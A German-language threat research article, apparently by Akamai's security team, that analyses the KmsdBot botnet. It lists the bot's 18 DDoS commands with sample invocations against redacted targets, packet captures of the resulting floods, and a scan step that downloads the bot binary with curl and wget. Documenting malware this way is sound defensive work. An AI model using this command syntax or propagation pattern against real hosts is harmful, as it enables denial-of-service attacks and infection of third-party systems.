Simulation der Command and Control-Funktionen von KmsdBot und Untersuchung des Angriffstraffics
Redaktion und weitere Beiträge von Tricia Howard
Zusammenfassung
Forscher von Akamai forschen kontinuierlich am Kryptomining- Botnet KmsdBotund untersuchen seinen Angriffstraffic.
Aufgrund der unzähligen Branchen und Regionen, die angegriffen wurden, sind wir der Meinung, dass KmsdBot ein auftragsbasiertes DDoS-Tool (Distributed Denial of Service) ist.
Basierend auf den beobachteten IPs und Domains befinden sich die meisten Opfer in Asien, Nordamerika und Europa.
Zwei wichtige Ziele waren FiveM und RedM, Anbieter von Gaming-Mods für Grand Theft Auto V bzw. Red Dead Redemption 2, was uns Einblicke in die Kunden dieses Botnets gibt.
Obwohl wir die Herkunft des Botnets nicht eindeutig bestätigen können, ist in Russland und den umliegenden Regionen ein interessanter Mangel an Aktivität zu beobachten, der auf seinen Ursprung hindeuten könnte.
Einführung
Im November war ein Cryptomining-Botnet in einen unserer Honeypots getappt. Unser Security Intelligence Response Team (SIRT) analysierte es und gab ihm den Namen KmsdBot. Es infizierte den Honeypot nach Experimenten mit einer neuen Konfiguration und hatte einige interessante Ursprünge. Wir haben KmsdBot weiter analysiert und mit ihm herumgespielt. Dabei haben wir unter anderem die Binärdatei modifiziert und sie auf unser eigenes Command and Control (CnC) gerichtet, was dazu führte, dass wir den Bedrohungsakteur dabei beobachten konnte, wie er das Botnet abstürzen ließ.
Im Rahmen unserer laufenden Untersuchungen haben wir beschlossen, die verschiedenen Befehle zu dokumentieren, die der KmsdBot akzeptiert und tatsächlich implementiert. Die Umgebung, die wir testen, ermöglicht es uns, den CnC zu leiten und Angriffstraffic an bestimmte Hosts zu senden. Das bedeutet, dass wir den Traffic untersuchen können, der von verschiedenen Angriffsbefehlen gesendet wurde. Der Bot bietet Layer-4- und Layer-7-Angriffe über TCP, UDP, HTTP und HTTPS mit GET- und POST-Anfragen.
Erste Analyse
Durch die Analyse der Malware konnten wir einige Befehlszeichenfolgen finden, indem wir nach der Anweisung „move absolute“ suchten (Abbildung 1).
Abb. 1: Eine unvollständige Liste der Befehlszeichenfolgen des Botnets
Wir fanden weitere Befehle, indem wir uns andere Anweisungen angesehen haben, mit denen Daten in Register geladen werden. Diesmal lautet die Anweisung „lea“ oder „load effective address“ (Abbildung 2). So konnten wir die verschiedenen Positionen von Zeichenfolgen auf dem CnC-Server analysieren (Abbildung 3).
Abb. 2: Eine zweite Teilliste zusätzlicher Befehle
Abb. 3: Speicherort der Zeichenfolge des CnC-Servers
Analyse des Angriffsdatenverkehrs
Basierend auf den tcpdumps des Angriffstraffics scheinen einige der verfügbaren Befehle noch nicht vollständig implementiert zu sein, und senden stattdessen ein Standard- oder leeres Paket. Die meisten dieser nicht implementierten Befehle sind TCP-Versionen von funktionierenden UDP-Befehlen. Bei Befehlen, die funktionieren, können wir jedoch einige einzigartige Angriffsmuster beobachten.
Der erste Angriff, der auffällt, heißt „bigdata“ und sendet 1 MB an POST-Anforderungen an den angegebenen Port. Der Content-Type-Header gibt an, dass die Payload URL-codiert ist, bei näherer Betrachtung scheint es jedoch Junk zu sein. Das Ziel dieses Angriffs ist, bei jeder Anfrage große Datenmengen zu senden, um die Bandbreite zu erhöhen, die jedes Paket zur Verarbeitung der Anfrage benötigt. Dies ist eine sehr grundlegende Funktion, die fast alle DDoS-Kampagnen nutzen, und laut unseren Beobachtungen gehört sie zu den beliebtesten Funktionen für dieses Botnet.
!bigdata <target> 22 600 3
20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5
Zusätzlich zu !bigdata konnten wir !tcpbigdata und !upbigdata beobachten. Diese Befehle senden keine ganz so große Payload und sind SYN- bzw. UDP-Pakete. Ihre Funktion scheint dieselbe zu sein wie bei bigdata: Die Belastung auf den Server soll durch diese Pakete erhöht werden, indem sie die Paketgröße steigern, aber auch die Kontrolle über die Auswahl von SYN- und UDP-Traffic bieten.
Durch die Verwendung einer SYN-Flood kann der Angreifer den im TCP-Protokoll verwendeten Drei-Wege-Handshake missbrauchen, um eine halb offene Verbindung auf vielen verschiedenen Ports herzustellen. Dies führt dazu, dass der Zielserver Probleme hat, die Trafficmenge zu verarbeiten, und nur schwer zwischen legitimen und schädlichen Verbindungsanfragen unterscheiden kann. UDP-Angriffe profitieren davon, dass der Drei-Wege-Handshake nicht erforderlich ist, was den Angriff auf ein Ziel erleichtert, da der Angreifer weniger Overhead hat. Wenn das Ziel den Grenzwert nicht richtig bewertet, kann dieser Angriff mit weniger Angriffsressourcen erfolgreich sein.
!udpbigdata <target> 223 120
14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I.., rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l... j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~ )rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..
Es gab auch einige Standard-HTTP(s) POST- und GET-Trafficbefehle, die sich mit dem Standardtraffic vermischen, indem sie einem normalen Paket sowohl bei der Größe als auch beim Format ähneln, anstatt sich auf die Gesamtauswirkungen der Größe des einzelnen Pakets zu konzentrieren. Das typische Ziel von HTTP-basierten Angriffen ist eine große Anzahl von Paketen, die sich nur schwer von der normalen Aktivität unterscheiden lassen, und sich daher bei der Reaktion auf einen Angriff schwer herausfiltern lassen. Wie Sie unten sehen können, ähneln diese Pakete herkömmlichen Paketen sehr.
!post <target> 443 /fle/tracking 120 20 20 100
21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..
!get <target> 443 /fle/tracking 30 20 20 100
21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0
Die Hexadezimalbefehle (!udphex und !tcphex) enthalten eine kleine Menge an hexadezimal-codierten Inhalten. Dies kann daran liegen, dass bei einigen Hosts Inhalte hexadezimal-codiert werden müssen, um den Befehle verarbeiten zu können, oder diese Befehle werden mit der Absicht gesendet, es dem Zielserver schwer zu machen, die Daten zu interpretieren.
!udphex <target> 80 80 30 250
21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$
Während die udphex-/tcphex- Befehle sich nicht auf die Größe konzentrierten, scheinen die tcphexclimb-/udphexclimb- Befehle diese Strategie zu integrieren. Jeder Befehl wird in einem Paket gesendet. Mit diesen Befehlen beginnt die Paketgröße klein, ähnlich wie beim udphex- und tcphex-Traffic , nimmt jedoch zu, je mehr Pakete gesendet werden. Nachdem wir diesen Traffic einige Zeit beobachtet haben, können wir sehen, dass er nach Erreichen einer bestimmten Paketgröße wieder mit einer kleineren Größe beginnt und dann wieder zunimmt, wodurch dieser Vorgang immer wieder wiederholt wird.
!udphexclimb <target> 80 60 600
21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P. ...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O /.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..) .n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....
Zwei spezielle Befehle fielen besonders auf, da sie anscheinend auf Game-Modding-Server abzielen. Wir hatten in unserem ersten Beitrag erläutert, dass wir KmsdBot als erstes bei FiveM entdeckt hatten. FiveM und RedM sind Plattformen, auf denen modifizierte Server für „Grand Theft Auto V“ bzw. „Red Dead Redemption 2“ gehostet werden können, die es Servereigentümern ermöglichen, andere Regeln zu erstellen und neue Ideen in den Server zu integrieren, die im ursprünglichen Spiel nicht vorhanden waren.
Das Vorhandensein dieser beiden Befehle bestätigt den Verdacht, dass diese Malware auftragsbasierte DDoS-Angriffe durchführt. Diese Theorie wird auch durch die große Vielfalt der Branchen gestützt, die angegriffen wurden: Gaming, Luxusmarken und sogar Sicherheitsunternehmen.
!redm <target> 7777 / 10 10 10 100
21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P. ...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P. ..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
'..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L. ....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S..... .e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN.. ....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~.. ..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P. …
Ein sehr einzigartiger Befehl dieses Botnet ist der Befehl !scan. Die Scanfunktion scheint bestimmte Pfade innerhalb der Zielumgebung anzuvisieren, führt einen Drei-Wege-Handshake durch und sendet dann eine Curl-PUSH-Anfrage und eine Wget-PUSH-Anfrage. Der Scan scheint auch zwei verschiedene Binärdateien auszuführen: kumd und kmsd.
!scan <target> <target>/win/kzmds <target> kumd kmsd
15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*
15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Wir beobachteten, wie kmsd„/x86_64/ksmdx“ ausführte und versuchten, diese Parameter mit der ksmdx-Binärdatei zu verwenden, um zu sehen, was passieren würde. Das Botnet begann IPs zu scannen, während Port 22 offen blieb, was den Verdacht verstärkte, dass es verwendet wird, um nach zusätzlichen Geräten zu suchen, die infiziert und in das Botnet integriert werden können.
strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid 4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid 4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid 4554] close(30) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid 4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid 4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid 4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid 4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
<detached ...>
Geografische Lage
Zusätzlich zu den Angriffsbefehlen konnten wir die beobachteten Ziel-IPs und Domänen geografischen Standorten zuordnen. Auf der Grundlage der beobachteten IPs und Domänen befanden sich die meisten Zielen in Asien, Nordamerika und Europa.
Außerdem stellten wir eine besonders geringe Aktivitätsdichte auf russischem Territorium und seinen Nachbarn fest, was ein nützlicher Indikator für die Bestimmung des Ursprungs dieser Angriffe sein könnte. In Abbildung 4 steht jede Markierung für mindestens einen Angriffsversuch von KmsdBot.
Abb. 4: Infektionsversuche von KmsdBot
Verfolgung der CnC-Befehle
Einige unserer anfänglichen Bemühungen drehten sich um die Beobachtung von Aktivitäten, die vom CnC-Server stammten. Wir begannen damit, uns selbst als infizierten Host in das Botnet einzuschleusen, und warteten dann auf Angriffsbefehle vom CnC-Server. Wir haben diese Angriffsbefehle in Elastic protokolliert und dabei die Befehle, Ziele, Zeitstempel und andere Variablen, die wir beobachtet haben, notiert.
Dadurch konnten wir nicht nur sehen, welche Angriffsfunktionen genutzt wurden, sondern auch die Verteilung der Opfer und die genaue Art und Weise, wie die einzelnen Befehle verwendet werden sollten. Durch diesen Prozess konnten die folgenden 18 Befehle extrahiert werden:
post
post1
get
get1
bigdata
fivem
getrand
redm
tcp
tcpbigdata
tcpclimb
tcphex
tcphexclimb
udp
udpbigdata
udphex
udphexclimb
Scan
Als wir uns die Namen dieser Befehle anschauten, fiel uns sofort die Spezifität einiger Befehle und die insgesamt unterstützte Vielfalt auf. Im Fall von „bigdata“ wurde es nicht nur als eigenständige Funktion, sondern auch als TCP-spezifische Version und als UDP-spezifische Version angeboten. Die meisten anderen Befehle werden auf ähnliche Weise angeboten.
Ein weiteres wichtiges Ergebnis ist eine Reihe von Befehlen, die auf bestimmte Gaming-Server abzielen: „fivem“ und „redm“. Die Präsenz dieser Befehle stimmt mit früheren Beobachtungen von angegriffenen Gaming-Servern überein, und bietet einen Einblick in die Kunden dieses auftragsbasierten Botnets.
In Abbildung 5 sehen Sie die Aufschlüsselung der Angriffsbefehle, die wir über 30 Tage hinweg beobachtet haben, sowie die Häufigkeit, mit der sie auftraten.
Abb. 5: Die am häufigsten verwendeten Botnet-Befehle und ihre Häufigkeit über einen Zeitraum von 30 Tagen
Die Befehle „bigdata“ und „get“ führen die Liste mit mehr als 70 Befehlen an, wahrscheinlich weil es sich dabei um die wirkungsvollsten allgemeinen Angriffe handelt. Der dritthäufigste Angriff, „fivem“, kommt auf etwa 45 Aufrufe. Dies zeigt uns, dass Gaming-Server zwar ein spezifisches Ziel sind, es aber möglicherweise nicht die einzige Branche ist, die von diesen Angriffen betroffen ist.
Der FiveM-Befehl wird immer noch häufig verwendet, und sogar RedM wird immer noch verwendet, aber die Frequenz der Befehle lassen uns zu dem Schluss kommen, dass das Opferportfolio sehr vielfältig ist. Die Unterstützung mehrerer Servertypen erhöht die allgemeine Nutzerfreundlichkeit dieses Botnets und scheint die Kundenzufriedenheit zu steigern.
Fazit
Als wir zum ersten Mal mit der Analyse von KmsdBot begannen, war es aus einigen bemerkenswerten Gründen faszinierend: Es war in Go geschrieben, hatte Cryptomining-Funktionen und nahm scheinbar völlig unberechenbar Ziele ins Visier. Weitere Analysen deuten darauf hin, dass es sich um einen DDoS-Anbieter handelt, was viele der interessanten Fakten erklären würde.
Eines der Ziele des SIRT von Akamai besteht darin, Botnets wie KmsdBot zu analysieren und zu dokumentieren, und die Öffentlichkeit über unsere Beobachtungen zu informieren. KmsdBot entspricht einigen Trends, die wir im Allgemeinen beobachten konnten, insbesondere bezüglich der Sprache, in der es geschrieben ist.
Schädlicher Code wird immer häufiger in verschiedenen Sprachen wie Go oder sogar kompiliertes Python entwickelt. Das SIRT wird die sich ständig verändernde Bedrohungslandschaft auch weiterhin überwachen.